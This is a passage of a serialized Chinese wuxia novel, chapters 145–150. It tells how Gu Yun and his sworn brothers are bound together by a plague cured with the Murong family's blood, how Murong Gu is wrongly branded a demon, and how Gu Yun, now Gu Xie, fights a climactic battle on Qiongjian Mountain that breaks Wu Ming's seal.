山间官道,两少年纵马前行,往山野进发,最终停在一山寨外。 “小子,活腻歪了,羽家寨也敢乱闯,找死!”号令一发,数十名山匪抽刀出寨,将两位少年团团围住。 少年再问道旁边师兄:“大师兄,现在几成把握?” 另一少年笑了笑:“十成。” 这两位少年大有来头,师从凌云谷,大的那个叫顾云、小的那个叫叶述…… 第一百四十五章 往事重提 山匪被除,当地村民,设宴款待,宴会毕,回凌云谷去,路上两人却莫名高烧不止,强撑着走了许久,最终倒在一农庄前。 在醒来时,只见身前一女子正在给自己喂药,顾云立马起身,往墙边靠去。 “男女授受不亲,你是?” 女子穿着朱纱长裙,斜阳照身,脸上笑容分外迷人。 “你终于醒了,来,快把药喝了。” 一向谨慎的顾云,这次却没有丝毫犹豫,凑近身前,任由女子喂药。 “这药不苦吧?”女子语气十分温柔。 顾云连连摇头:“不苦,很甜。” 女子再笑了笑:“瞎说,药哪有甜的。” 女子小心翼翼给顾云喂药,两人越靠越近,越靠越近,突然,又一男子闯入。 男子见状大惊,一把夺下药碗:“我来吧,你去帮爹收拾药材。” 女子满脸红润,不知是害羞了,还是妆容所致,低着头,快速离开。 “怎么称呼?” “凌云谷,顾云。” “凌云谷的?”男子两眼放光,面色和缓了些:“我叫慕容顾,交个朋友。” 顾云:“好啊,对了,我怎么会在这儿啊?” “那得问你们啊,前天早上,我和爹爹正要上山采药,一出门,看见你们两躺在地上,面色惨白,也不知染了什么病。” “这么说来,我躺了足足有三天?” “是啊,你们到底染了什么病啊?” 顾云摇摇头:“哎,我还有个兄弟叫叶述,他没事儿吧?” 慕容顾摇摇头:“他情况很不好,我刚给他喂药,全给吐出来了,还发着高烧。” 顾云:“啊,在哪儿,快带我看看。” 叶述房中,慕容甫正在悉心诊治叶述病情。(慕容甫,慕容顾的父亲) 慕容顾一脸疑惑:“哎,馨儿,怎么你的病人都快好了,我的病人病情还加重了啊。” 顾云看向慕容馨,鞠躬谢道:“姑娘,你既有办法治好我,那也一定有办法治好我师弟吧。” “姑娘,求求你了,救救我师弟吧。” 慕容馨一脸难为情,并未回答。 慕容顾道:“我知道了,你该不会是……” 慕容馨立马捂住慕容顾,将其拉出屋去。 “你傻不傻啊,你的身体本来就弱,还胡乱用血,不想活了?” “哥,就这一次,下次再不胡来了。” “你发誓。” “我……药煎好了,我去端药。”话罢,慕容馨往药房走去,慕容顾摇摇头,悄悄跟上。 药房内,慕容馨倒好汤药,拿起,小刀,正要放血被慕容顾一把拦下。 “哥,我……” 慕容顾苦笑一番,满脸无奈:“好了,我来吧,我血多。”话罢,抢下刀,在无名指上割开一道小口,往药汤里滴了几滴血液。 经过数日的修养,顾云与叶述病势渐愈。但与此同时,周围村中却相继有人中病前来寻医,一场瘟疫,悄无声息的蔓延开来。 刚开始,慕容家还能应付,但随着病人越来越多,慕容家迟早会有招架不住的那天。 一天下午,慕容馨煎药时,莫名昏迷倒下,一直睡到第二天下午,才勉强睁开眼开。 “馨儿,你没事儿吧。”顾云端着汤药,一口一口吹冷,喂慕容馨喝下。 慕容馨强撑着坐起:“顾大哥,我睡多久了?” 顾云并不回答,只说道:“你就安心休息吧,要采什么药,我们帮你去采便是。” 慕容顾点点头:“对了顾兄,我还煎了副药,忘端来了,你去帮我端下吧。” “好,我这就去。” 叶述道:“慕容兄,病人越来越多了,要采什么药,尽管吩咐我们。” 慕容顾叹息道:“哪有什么山药,这病根本无药可治!” 叶述道:“无药可治?不会吧,上周不是就有两个病人康复了吗” 慕容顾道:“那是用咱慕容家的血液所治,根本无药可治!” “血液?” 慕容顾摇摇头:“叶兄,我接下来要说的事,你万不可告诉其他人,包括顾兄。” 叶述一脸疑惑,但还是点点头。 接着,慕容顾将自己家族血液能解百毒的秘密告诉叶述,叶述自是不信,但此情此景,慕容顾撒此大谎人毫无意义。 慕容顾:“你千万别告诉顾云兄,他性子急,若知道馨儿是在用自己的鲜血给病人疗伤,一定会阻止她的。” 叶述道:“你以为,你只告诉我,我不会阻止你们吗?” 慕容顾摇摇头:“叶兄,我想让你帮我请个人来,眼下,只有他能救我们了。” “谁?” “杜悬。” …… 随着杜悬的到来,持续了三个多月的疫病,终于被众人合力遏制。 “苍天在上,黄土为证,我慕容顾,我顾云,我叶述。” “在此结为异姓兄弟,从今以后,有福同享,有难同当!” 慕容顾、顾云、叶述三人拜祭上天,歃血结义。 三人正说笑间,慕容馨背着手,小步走来。 “哥、顾大哥、叶大哥,我有东西要送给你们。” “还有礼物?啥呀。”慕容顾一脸猴急,往慕容馨靠来。 慕容馨笑了笑,从背后取出三个酒葫来:“你们不是爱喝酒吗,我给那你们每人做了个酒葫芦。” 叶述接过酒葫芦,连连称赞:“哇,好漂亮的酒壶啊,上面还刻的,是我的名字吗?”只见叶述的酒壶上,刻着一个“叶”字,慕容顾的则刻着“慕”字,顾云的则刻着一个“顾”字。 慕容顾亦夸道:“小妹你自己刻的吗?手艺这么好?” 慕容馨一脸得意:“那是,顾大哥,你觉得如何?喜欢吗?” 顾云连连点头:“喜欢,这酒葫芦太漂亮了,我会好好保管的。” 叶述打趣道:“到底是喜欢酒葫芦还是喜欢慕容姑娘啊?” 慕容馨一脸娇羞:“叶大哥,你怎能开这种玩笑呢。” 慕容顾亦道:“就是就是,别闹,让他们自己处,咱可别搅了他们好姻缘!” 两人相视大笑起来。 慕容馨面颊红润,低下头去,笑了笑:“不理你们了。” 顾云:“你们过分了啊,咋什么玩笑都乱开呢?我去跟馨儿说清楚,刚才全是玩笑话。” 慕容顾一把拉回:“说清楚干嘛,大家都知道是玩笑话,不会是?你认真了吧?” 叶述亦添油加醋道:“早看出你不对劲?你不会真的?” 顾云莫名脸红:“没有的事,你们别乱讲啊!绝对没有。” 慕容顾再笑道:“没有就没有,你脸红啥?” 两人正合力调侃顾云时,一女子闯入慕容家。 “慕容顾呢!谁叫慕容顾?给我出来。” 三人收了玩笑,寻声走去。 “正是在下,姑娘,有什么事儿吗?” 女子上下打量了慕容顾几眼:“你就是慕容顾?” “没错。” 女子一身盔甲,颇有英气,执长鞭,好像要闹事。顾云看着桌上长剑,随时准备取剑助战。 哪知,那女子却丢下长鞭,一把抱住慕容顾,满脸欣喜:“我终于找到你了。” 慕容顾极力推开:“你谁啊?” 女子自我介绍起来:“我叫司寇莉。” 慕容顾想了想:“司寇莉?我不认识你啊,你找我,有事吗?” 司寇莉道:“谢谢你救了我爹,我要嫁给你!” 啊,这??? 第一百四十六章 所谓魔头 一个月后,慕容顾与司寇莉大婚: 慕容顾拉着顾云,喝了很多酒。 “贤弟啊,今后有何打算啊?” 顾云一边傻笑,一边大口喝酒:“没什么打算,仗剑天涯,扫平四海贼寇。” 慕容顾摇摇头:“哎,那有什么乐趣,不如像我一样,找个爱你的女子,成家立业岂不美哉。” 顾云摇摇头:“哎,大哥,此乃凡人之乐,我是个侠客,扫除四海恶贼是我的责任,只有天下人都快乐了,我才会快乐。” 慕容顾一脸不悦:“你的意思是,大哥我只是个凡人?” 顾云方觉不妥,连喝数杯烈酒赔罪:“大哥,我没这个意思。” 慕容顾语气有些自卑,叹息道:“哎,无妨,我本来就只是个凡人。”话罢,端起酒碗,倒满一杯,一饮而尽。 “顾云,但我还是有话要问你,今天,你必须跟我说实话。”慕容顾喝过酒,看向顾云,表情十分认真。 “大哥尽管问,知无不答。” “好,顾云,你到底喜不喜欢我小妹,给个痛快话!” …… 昆仑山脉: 顾邪看着慕容馨遗体,不自觉流下泪水。 “馨儿,我喜欢你,一直以来,我都喜欢你,我真傻,天下万民与我何干!馨儿,我只要你,回来好吗?回来啊!” 许久,顾邪脸色和缓了些,继续说道:“馨儿,世人都说你大哥是魔头,呵,你还记得吗,当年,雍州爆发瘟疫,你哥凭着一己之力,救了整整一百一十七人啊!他们怎么能冤枉你哥是魔头呢!他们如何忍心啊!也怪我,当年没能查出事情真相,还你哥一个公道。” 顾云走后,慕容馨日渐消沉,慕容顾不忍心看着其妹消沉,遂抛下家人,之身前往当时中原五大派之一:碧岐宗,他想看看,这传说中的侠客之道,有何魅力,竟胜过人间天伦。 没想到,慕容顾武学天赋极佳,只一年便学成了旁人二十年的基本功法,第二年更是大成《碧岐内经》!一时间,慕容顾在江湖上声名大噪。 131年,慕容顾领命镇守琼剑山,被山万蛇咬伤,奄奄一息,几日后,竟不治自愈,且意外获得天下最强毒攻,接着,他遇到了一生中最不该杀的一伙人。 那一年,魅影教狐鸢教主带着二十名教中高手潜入琼剑山,意图解开琼剑山封印,寻找无冥遗宝。 琼剑山脚下,狐鸢等人杀死一伙商贩,并伪装成他们模样,上了琼剑山。与正在巡山的慕容顾撞个正着。 话不多说,两相斗法,慕容顾大展神功,碧岐内经加持山万蛇剧毒,练成血雾大法,大杀四方,除了山下清理商队尸体的钦铉长老外,其余魔教全数中招,慕容顾内力耗尽,且伤了些许元气,幸好昇伏大师及时赶到,将其安置在一处农庄修养。 不料,钦铉长老暗中收集魔教遗尸上的毒血,埋伏昇伏,伺机将其毒杀之! 钦铉将教中同党的尸体全数烧尽,埋于别处,接着退出中原…… 几日后,山脚下,二十多名商贩的尸体被人发现,紧接着,昇伏大师的尸体被发现,昇伏大师是武林泰斗,他的死,令整个武林动荡! 各路人马齐出,追查昇伏大师死因。 不久,“真相大白”,慕容顾被听风阁指控,残杀二十多名商队、毒杀昇伏大师。慕容顾修养两月后,重回江湖,却遭到整个江湖通缉,随即隐姓埋名,苟活于世。很多人前去追杀慕容顾,但学艺不精皆被慕容顾反杀。 同年,慕容顾被碧岐宗少宗主寻回,少宗主告诉他,在碧岐宗主的调查下,发现那些商队中有一人所受掌法,神似万幻宗邪功:卸魂掌。 最终,少宗主说服慕容顾别在偏安一隅,回到碧岐宗将当年之事交代清楚。回到碧岐宗后,却发现碧岐宗已然遭受浩劫,数百名魔教妖人潜入碧岐宗,碧岐宗覆灭,妖人潜于暗处,正欲偷袭慕容顾,却被少宗主察觉,替其受下一掌,惨死于毒掌下,慕容顾神功再施,将魔教杀退,待妖人走后,一八岁孩童(少宗主遗子,后改名慕容钧)从废墟中爬出…… 134年,听风阁调查出慕容顾藏身地址,暗中通知各路高手。 得知下落,顾云只身前往,以复师仇,然而,顾云早已不是慕容顾对手,两相缠斗不过十合,慕容顾便轻松便击败顾云 “杀了我,否则你逃到哪儿,我便追到哪儿!” 慕容顾摇了摇头,竟举剑停在自己脖颈处:“这些年,我杀了很多人,我感觉自己活得越来越麻木了,顾云,你告诉我,我究竟做错了什么!我只是想好好的活着,为什么?为什么你们要一次次的逼我!一次次的逼我!”话罢提剑自刎 顾云欲要阻拦慕容顾自刎,但为时已晚。 慕容馨将前因后果告知顾云,顾云悔之晚矣,带着慕容馨,慕容钧避世,刚要走,被一刀客拦住,洛川大侠:洛泽怀。 “顾兄,你知道吗?我夫人生了,是个男孩,白白胖胖的,以后肯定是个练武奇才!” “是吗?恭喜恭喜,取名了吗?” “取了,洛寻天。” “可以,挺好一名字。” “后天满月,我会在洛府设宴。” “对不起,我……” “没关系,我只是觉得,以咱们两的关系,我理应告诉你,好了,你们快走吧,我就当从没见过你们。” “多谢。” “顾兄,一路保重!你永远是我兄弟!” “你也是!” 四年后: 慕容馨怀了身孕,顾云带着她去丰雨寺祈求母子平安,刚出门,正好遇见故友。 原来,去年,洛泽怀夫妇游历江东时,曾祈求老天保佑生个女儿,没想到,洛择怀夫人真生了个小女儿,特带着家人来到丰雨寺还愿。 几人在一酒楼彻夜长谈。次日,顾云夫妻两离去,不久,洛择怀夫妻醒来,发现洛寻天没了人影,午时,洛寻天面色惨淡,哭着跑回,自说是中了慕容馨的毒功,两人看过郎中后,竟真是山万蛇毒,为保其命,洛择怀狠下心砍去洛寻天左边手臂,夫人气不过,立即通知各大门派,扬言发现魔女慕容馨下落,接着便是文中楔子所述,琼剑山悲剧。 逃难途中,慕容钧与顾云夫妇走散,去了黄骷岛,后来从江匪手中救下一女子,两人很快坠入爱河,生了个女儿即慕容荨。 第一百四十七章 琼剑山顶 四十六年前,慕容馨与顾云被中原高手围困在山野草房中, 顾云服毒自尽后,慕容馨亦欲举剑自刎,但被叶述救下,叶述喂给她一粒龟息丹,使其陷入假死状态,众人散去后,叶述再回到现场,却找不到两人“尸体。” 原来,魅影教亦在暗中窥探着事件走向,中原武士走后,紫阎王等人带走了慕容馨与顾云,紫阎王大手一挥,竟用青茯散救回濒死的顾云,而后醒来的慕容馨则死于难产,只留下一个女孩儿。 之后,顾云加入魅影教,成为了御守使。 “只有死过一次,来自阴曹地府的人,才能了无牵挂的剥去他人生命,不巧,我就是。” 顾云将慕容馨的尸体冻藏在昆仑山脉,幻想着有一天能练成青茯秘术,救回慕容馨。此后,每隔五年他都会前往昆仑山脉看望夫人,沿途经过中原时,他会顺便报复旧仇…… 琼剑山,古为八仙门玄门立坛总址,玄门叛出八仙门后,迁往幽州,自立门户。其后二十年,玄门一直遭受八仙门其余七门的打压,发展规模越来越小,日渐没落,最终,玄门更名为万幻宗,并在新任掌门无冥的带领下,彻底退出中原武林,前往乌桓国境。谁也没料到,只五年,无冥便将那个重压之下,几欲灭亡的玄门,打造成规模宏大、门徒众多的江湖大派。 永平11年,万幻宗重返幽州,一路南下,只两周时间,便灭掉中原第一大派——八仙门,此后,无冥将万幻宗总坛设于琼剑山顶,藐视群雄,自号天下第一大宗!武林群雄自是不服,皆欲前往琼剑山与万幻宗一决生死。 为防止战局扩大,白马寺高僧摄摩腾与凌云谷谷主苍临大师两人只身前往琼剑山,与无冥一决生死。 据说,那场决战,打了三天三夜,最终,摄摩腾和苍临大师以联合杀招击败了不可一世的无冥。根据约定,万幻宗将退出中原,永世不得侵犯中原武林。本以为武林浩劫可以就此平息了,然而,事与愿违,两人在归谷途中,十二名魔教高手突然杀出,联手攻击本就疲敝的苍临大师与摄摩腾,因苍临大师在先前决战时受了脚伤,自知难以逃脱,索性放弃,全力死战,以助摄摩腾逃离。 苍临大师德高望重,久负盛名,他的死,将中原各派团结起来。在中原五个大派:白马寺、豫蛇庵、剑阁、凌云谷、碧岐宗的牵引下,中原武林,数百个门派联合起来,将琼剑山围得水泄不通…… 如今,一百多年过去了,琼剑山早已废弃,满地的杂草,成群的荆棘,诉说着山野的荒芜,泥土下的叠叠锈剑,密林间的堆堆白骨,却诉说着当年那场大战的惨烈。 五十多年前,慕容顾于琼剑山间,凭一己之力,击败魅影教二十位高手,此战,魔教精锐半数覆灭,中原武林得以安享数十年太平。但一场冤案却让中原武林在五十年多后的今天,陷入更大的危机中…… 琼剑山下,中原各派齐聚,遥看山顶,插满了魅影教旗。 谷月清回头看着众人:“各位侠客义士,这一战,我们没有丝毫胜算,我们会死,但我们别无选择!” 蔡彧:“死又如何?死有什么好怕的!江山代有才人出,迟早有一天,我们的徒子徒孙会替我们报此血仇,我们能做的只有一个,驱除奸邪,直到最后一滴血流尽!” 章玄:“正道不灭!侠义永存!驱除奸邪!还我山河!” 各方侠客云集响应:“正道不灭!侠义永存!驱除奸邪!还我山河!” 一声令响,中原侠客奋力冲向山顶,杀上山顶却不见一人,蔡彧方才惊觉,急唤众人下山,恰逢此时,魅影教、幽狼派、赤影帮众从山脚围来,“正邪”两派遂在山腰间对峙起来。 正要交伐,一老道御风而至,正是叶述。 “师叔。”谷月清、胡啸、孤殇恭敬拜礼道。 “叶大师”其余武林人士亦恭敬拜礼道。 叶述的出现,令中原侠客面色安定了些,原本必死的战争,似乎出现了转机。 叶述朝那铁面老者喊道:“顾云,停手吧!回头是岸!” 铁面老者缓缓摘下面具:“顾云?”接着,冷冷一笑:“曾经,我确实有一个名字叫顾云,但现在,我叫顾邪!魅影御守使!顾邪!”话罢,化作黑烟,直取叶述。 叶述则化作一阵秋风,与黑烟交融远逝…… 当下,两方人马也没闲着,各挑对手,混战起来。 钦铉一人对谷月清、孤殇两人,一边打,一边喷垃圾话:“凭你们的资历,给我提尿壶都不配,告诉你们个秘密,你们的师祖,昇伏大师,根本不是慕容顾杀的,是我所为,哈哈。” 孤殇:“狂徒休要妖言惑众,你以为我会信你的垃圾话吗?” 钦铉:“事到如今,我也懒得瞒了,当年,慕容顾在琼剑山杀的二十人,根本不是什么无辜商贩!全是我派精英!也就是你们所谓的魔教妖人。” “你说谎,毒绝天下慕容顾,乃是天下公认的魔头,你以为,凭着几句诳语,便能扭曲事实吗!看剑!”谷月清一边说着,一边施展剑法杀向钦铉。 另一边,蔡彧与浮生联手攻击魔教右使藏榆与三长老徐维。 藏榆道:“蔡彧,你精明了大半辈子,也有糊涂的时候啊。林夫人是我杀的,你找于婉的麻烦干嘛。” 蔡彧:“妖人休要胡言,要打便打,少蛊惑人心!” 藏榆:“蛊惑什么人心,你以为,于婉身上的鞭伤,是林夫人打的?哈哈,笑话,天下鞭法大同小异,我稍微一模仿,你们分得了真假吗?” “狗屁,废话少说,你不过是想乱我心智罢了,魔教妖人为达目的,下三滥的手段我见得多了,看剑!”蔡彧不敢多想,提剑直取藏榆。 浮生也没闲着,提杖直取徐维。 徐维并不躲闪,招出一面巨盾,立于身前,仍由浮生击打。 “别白费力气了,这面巨盾,你师兄秋殇都破不了!哦,对了,忘记介绍了,白马寺灭门惨案,并非于婉所为,是我干的,从头到尾,于婉根本毫不知情,那枚耳饰,是我放的,哈哈哈!”徐维仰天狂笑起来。 “这……”浮生心智大乱,木在原地,身体不由战栗起来。 “当年,你们灭我徐家满门,我才杀了你们白马寺一半僧众,不过分吧!哈哈哈!” 徐维狂笑过后,再是一脸狡诈:“秋殇已死,浮生,你不是要为他们报仇嘛,来啊,杀了我啊!”语罢,巨盾前顶,将浮生击飞。 展平御剑飞来,欲救浮生,却被一长老拦住去路。 “展大侠,你的对手,是我。”说此话者,乃是魅影教二长老:齿猷。 “还有我。”绝影帮主——张延。 展平冷冷一笑:“好,新怨旧仇,一起报了!!!” “浮生,没人救得了你,去死吧。”徐维举盾击来,浮生仓促接战,毫无还手之力,被击飞三五米远,正要致命一击时,一条巨蟒窜出,将徐维击退。 “乘人之危算什么本事,有种,和我交两招!”只见一女子持鞭击来,乃是青菱师太。 …… 第一百四十八章 败军之际 琼剑山顶,叶述、顾邪各自立于顶峰,对峙起来。 “顾云” “住口,我叫顾邪!顾邪!” 叶述自嘲一笑:“顾邪?呵,都四十六年了,你还要执拗到什么时候!” 顾邪亦自嘲一笑:“都四十六年了!我竟然让他们苟活了四十六年!呵,怪我,怪我!” “叶述,我今天把话挑明了,上了琼剑山的人,谁也别想活着下去,谁也别想,你要是敢拦我,尽管试试!” “谁也别想活着离开?也包括那些魅影教众吗?” 顾邪冷冷一笑:“馨儿的死,魅影教也难逃其咎,他们早就该死了!” 叶述摇摇头:“顾云,几十年不见,你变了好多,你还是我认识的那位侠义无双的顾云吗?” “我说过,叫我顾邪!!!”话罢,顾邪长剑出鞘,幻出数百利剑,全速飞向叶述。 叶述立即拔剑格挡,长剑指天,数道天雷瞬间降下,将那数百利剑尽数击散。 与此同时,地下一只土手冒出,向顾邪击去,半空中,却被另一土手拦下。 叶述一怔:“果然,你也入了化境。” 顾邪不屑一笑,并未回答,只见数十只土手冒出,将叶述团团围住,正要围攻,却被突然冒出的水龙搅成一团泥浆。 一法不成,再起他法,漫地碎石与泥浆汇聚,化成一柄巨石锤,砸向叶述,这次叶述没有装b,急施轻功躲开。 巨石锤砸开一个大窟窿,再想提起,却早被地上泥沙死死焊住。 “你玩这么大?好,我也会。” 只见数座参天巨树被连根拔起,风过之后,幻化为一把锋利的巨剑,直击顾邪。 顾邪冷哼一声,大手一挥,巨剑被凌空点燃,浓烟滚滚,属实有些,污染环境。 “好你个顾云,还给爷加buff,要烧就烧得再旺些!” 林中巨树再次飞来,往巨剑处汇聚,如此添材,火势自是比先前更旺了。 “烧旺就烧旺,还能烧到我不成!”顾邪功法再起,一阵急风凌空而现,将烈焰剑往叶述那边吹去。 叶述一怔:“爷添的材,还能让你把爷给烧了不成!”话罢,也施展功法,换出一阵急风,朝顾邪吹去。 两阵急风越吹越大,越吹越大,将烈焰巨剑挤压在中间,巨大压力下,火剑被压得极其细小。只听一声巨响,半空中发生大爆炸,往四方震去,霎时间,整个琼剑山都为之颤抖! 叶述与顾邪各自运功抵挡。 顾邪道:“好了,差不多得了,你也别再装弱了,动真格的吧。” 叶述道:“真的要到这一步吗?” “叶述,我已经回不了头了,咱俩都回不了头了,动手!” 叶述摇摇头,开始施动神功,霎时间,周遭灵气急速往掌心汇聚,积压成一颗细小砂砾…… 顾邪欣慰一笑:“太平清领神功,没想到,你真练成了,还练到了第二重!” 灵气越聚越多,虽仍然是一颗砂砾,但叶述的手掌细微颤抖起来,可见灵力堆积之多:“顾云!你赢不了我的,收手吧!” “叶述,动手吧!你我早就不是一路人了!”顾邪闭上眼,没有任何反抗。 叶述,咬咬牙,狠下心来,只见叶述掌心的砂砾凭空消失了,与此同时,一颗巨大的灵力球将顾邪围住,周遭灵力继续向灵力球汇聚,而灵力球则缓缓向顾邪挤压,最后的结局只有一个,灵力球会再次挤压成一颗砂砾,顾邪同样! 顾邪摇摇头:“叶述,这些年来,拼命修行的可不止你一人!” 只一瞬,灵力球竟全被顾邪吸附为其所用,不仅如此,叶述身上剩余的内力也倾泻而出,汇聚在顾邪身边。 “自然仙力?所以,你已遁入仙境了吗?” “看来,只能到这步了。”叶述倒在地上,微微闭眼,全身上下已然没了一丝一毫的内力。 与此同时,顾云施展轻功,飞至山顶一洞口,提起全身功力与叶述的功力一起合力猛击那乱石堵住的洞口,巨大的波动下,周围万物皆颤,唯独那洞口的乱石堆,纹丝不动,此处,乃是当年无冥用飓神门将自己封印的地方。 要解开飓神门的封印,必须以施法者二倍之力相解。 顾邪叹息两声:“叶述,若是你也能遁入仙境该多好,如此,我何至于挑起今日之战!”话罢,取出数粒药丸服下,接着,化作数缕黑烟,杀向中原各派侠客。(药丸乃昆山雪莲所制) 仙境之上,纵使千万化境联手,亦不能敌。在绝对实力下,中原各派皆是不敌,连连落败,退至山顶,后路只剩万丈深渊,已是退无可退,眼下只有两条路,投降、或者坠入深渊。 山顶上,谷月清看着顾邪,摇摇头:“师傅,你曾经教导过我,无论何时何地,永远保持一颗侠义之心,至少要对得起自己的良知,可如今,你都干了什么!?” 孤殇:“顾师伯,别再错下去了,停手吧。” 顾邪面无表情,一言不发。 钦铉道:“停手?今我为刀俎,你为鱼肉,你们有何资格叫嚣停手!” 藏榆道:“行了,闲话少说,要么弃暗投明投降,要么死去,选一个吧!” “我呸,弃暗投明也是你们能用的!”章玄吐口唾沫,一脸不屑。 徐维:“御守大人,跟他们废什么话,依我看,全部杀了算了” 顾邪面无表情,冷冷说道:“都杀了吧!”紧接着,杀招再起…… 第一百四十九章 仙劫 面对顾邪的杀招,中原武林即使合力御敌,只怕也挡不住一招,但挡不住也得挡! 谷月清、浮生、蔡彧、展平、杜菱等武林高手纷纷凌空飞起,与顾邪隔空对拼起内力。 半空中,顾邪只身一人对抗中原武林数十人,丝毫不落下风,钦铉等人欲要助战,顾邪厉声喝退。 顾邪等这一天太久了,四十六前,若他也能有如此实力,中原武林岂敢犯他分毫。 平衡持续了很久,中原武林各大高手已然面白体弱,功力枯竭,顾邪却一脸淡然,仿若置身事外般轻松自在,显然,他还没用全力。 他似乎在等谁,但那人始终没来…… “结束了,全都结束了。”顾邪叹息两声,脸色瞬变,死寂与杀气,遍布全身。顾邪只稍微再加了些许法力,中原高手便全线败退,全数卸防,被震飞出去,轻者,如谷月清、展平者,勉强运功在悬崖前停下。重者,如杜菱、浮生、孤殇、章玄等,皆被顾邪强大功法震至山崖下… 众人望着深不见底的山崖哭喊起来,脸上写满了绝望,输了,全输了,此战后,只怕中原武林,将不复存在。 突然间,狂风骤起,电闪雷鸣,原本晴朗的艳阳天瞬间黑沉起来,漫天诡异的黑云让人毛骨耸立,是顾邪又施展了什么邪功?还是说,又一位“魔头”来了。 只见,数十团黑雾从崖下冒出,将先前击落山崖的武林高手全数救起,黑雾越来越多,越来越多,粗略估算,似有千余团,一声雷响,宛如冲锋令一般,黑雾群集体发力,向魅影教众攻去,顷刻间便扭转战事,魅影教众皆是不敌,连连后撤。 顾邪见此情景,竟笑了起来:“来了,终于来了!幸好有你,差点就功亏一篑。” 顾邪喊道:“杀那群喽啰算什么本事!想报仇,冲我来!”此话一出,千余团黑雾竟真朝顾邪冲去,一边冲一边聚拢,很快形成一个人形,雾色散去,一少年持九劫刀杀向顾邪。 是昭相雪! 两人冲上云霄,凌空对峙起来。 “顾邪,旧仇新怨,今天,一起报了,不是你死,就是我亡!” “昭相雪,我就知道,咱俩是一路人,你为了报仇而变强,我又何尝不是呢。” “我跟你不一样,我从来不会将仇恨迁怒于无辜之人!” “无辜,谁无辜?你母亲,还是你舅舅,可笑,他们早就该死了,我让他们多活了三十多年,这可是天大恩情,你得感激我才对。” “我呸,把婉儿的尸体交出来,或许,我还能给你留具全尸。” “婉儿?放心,从血缘上讲,她可是我侄孙,她的尸体,我会好好保存的。哦对了,她的头就埋在雍州,毕竟,她祖籍在这儿,身体嘛,我给她埋在凌云谷了,十几年师徒,应该还是有些感情的,至于手脚嘛,哎,手脚放哪儿去了?”顾邪自嘲般笑了笑:“老了,记不清了,你自己去找吧。” 当下,昭相雪听了此言,杀气充满全身,几欲入魔!“顾邪!你,你竟敢!我要将你碎尸万段!” 只一瞬,昭相雪化作万千幻影,四面八方围住顾邪,各施功法向顾邪击去。 顾邪亦化出幻影,分十余团突围,太平清领道法起,各置灵力罩护体。但万千幻影轮番冲击,灵力罩刚一施开便被冲散。 万幻影诀第十重:练就混沌仙力,遁入仙境,同时,可幻化无限个幻影,且内力可在各幻影间瞬间转换,无视空间地形限制。可以说,万千幻影全有本体实力,也可以说,万千幻影全是虚影,不堪一击。 顾邪的分身很快被冲散,场上只剩下一个本体,被紧紧包围在中间。 “顾邪,今天便是你的死期,去死吧!”万千幻影杀声满天,奋力冲向顾邪! 顾邪不屑一笑:“我早说过,咱俩是一路人!”话罢,闭上了眼,任由昭相雪万千幻影斩杀…… 昭相雪看着眼前顾邪尸体,有些愕然:“结束了吗?” 话音刚落,只听远方传来万千杀声,面前顾邪的遗体,竟化作一缕黑烟,随风消散。 昭相雪众幻影抬头望去,只见远方黑压压的人群朝这边杀来! 是顾邪,同样幻化成万千幻影的顾邪! “渊龙杖法第十式—渊龙啸天” “临空剑法第九式—众生同元” 万千幻影之上,数百道雷龙剑先行开路,向昭相雪杀来… 厮杀许久,涉世未深的昭相雪哪能是顾邪的对手,很快,万千幻影被打的只剩一个。 昭相雪浑身血伤,该是精疲力竭,双眼却仍是不屈,饱含杀意。 顾邪摇摇头,转身向中原武林杀去。 功法再起,巨大冲击波震向武林众人,关键时刻,再被昭相雪施法挡下。 顾邪脸色稍惊:“你打不过我的,为何不逃?” 昭相雪不屑一笑:“让我背弃侠义之道苟活于世,那只会生不如死!” “侠义之道?你为谁侠义?为你身后那群不分黑白,逼死婉姑娘的伪君子?你为他们战死,婉姑娘会怎么想?” “我答应过我师傅,无论何时何地,永远保持一颗侠义之心。我不知道救下他们,婉儿会不会开心,但我知道,若是败给了你,婉儿肯定会难过!” “所以,你想救下天下苍生,成为万人敬仰的侠士?” “并非救下天下苍生的才能被称为侠士,而是,因为是侠士,所以要救天下苍生!” “狗屁不通,去他娘的侠士!你既求死,我成全你便是了!”话罢,顾邪功力全开,奋力击向昭相雪。 昭相雪亦施出全身内力格挡! 两人皆源源不断的吸收着周遭灵力化为己用。 “昭少侠,我们来助你!” “御守大人,我们也来助你!” 当下众人各自站队,向两边助力,昭相雪这边隐隐有些弱势。恰此时,有几位侠客着黑色斗篷杀出,助力昭相雪,瞬间将两方功力持平,两方势均力敌,全然分不出胜负。 随着内力的加大,两股内力突然失控,竟由先前的对抗转为合流,往山间一洞口飞去,场上众人竟无一人可脱身,包括已入仙境的昭相雪、顾邪。 昭相雪一脸诧异,内力流失越来越快,场上灵力越来越稀薄,照此下去,只怕内力得被榨干,顾云此刻应该也是如此,但诡异的是,他丝毫不惧,竟在狂笑! “来的好!来的好啊!馨儿!我终于等到今天了!我终于等到今天了!” …… 终于,场上灵力彻底枯竭,众人内力见底,山洞中的乱石堆轰然倒塌,无冥的飙神封印,解开…… 第一百五十章 琼剑山的秘密 山洞敞开,洞中石床上安静躺在两具枯骨,一具颈部发黑,死于剧毒,骨骼有些瘦小该是个女子,一具右手拿着匕首,紧紧的插在心房部位,好像是自杀,看骨骼,该是男子,顾邪拾起男子腰间令牌一看,瞬间瘫倒在地。 腰间令牌写着七个字:万幻宗宗主—无冥。 此情此景一目了然,百年前,无冥倾尽一切研制的青茯秘术并未救活郁雨曦,最终,无冥不愿苟活于世,拔刀自尽。 顾邪喃喃自语道:“看来,这世上真的没有起死回生的仙药,可馨儿,现实若真是如此,我要如何才能再见到你啊。”说着说着,眼角泛下泪来。 突然,万幻珠飞出,将山洞中两缕残识吸入球中,同时,也吸走了昭相雪与顾云的意识。 竹亭里,一青年端坐其中,旁边有一女子靠在其身旁,不时给他添着茶水。 “来,快坐快坐,曦儿,快给他们满上,让他们也尝尝,上好的雪榆茶呢!” 昭相雪看着此人,十分熟悉,似乎在哪儿见过,万幻珠的幻境中!是无冥! “无冥前辈!” “小狐狸,无冥是谁啊?” 无冥冲昭相雪眨眨眼:“别叫我艺名啊,叫我狐前辈。” “是,狐前辈。” 顾邪看向一旁的女子,着急问道:“狐前辈,这位是?” 无冥介绍道:“这是我夫人,郁雨曦。” “郁雨曦!”顾邪一脸激动:“所以,青茯秘术真的存在?!真的可以起死回生?!” 昭相雪亦是一脸欣喜:“那这么说,我也可以用青茯秘术复活婉儿了!” 无冥点了点头,但又摇了摇头:“青茯秘术确实存在,药效也确实强,但若是说它能起死回生,属实是无稽之谈。” “顾云,山洞里的事实如何,你已经看过了,这世上哪有什么仙药,不过是痴人说梦罢了。” 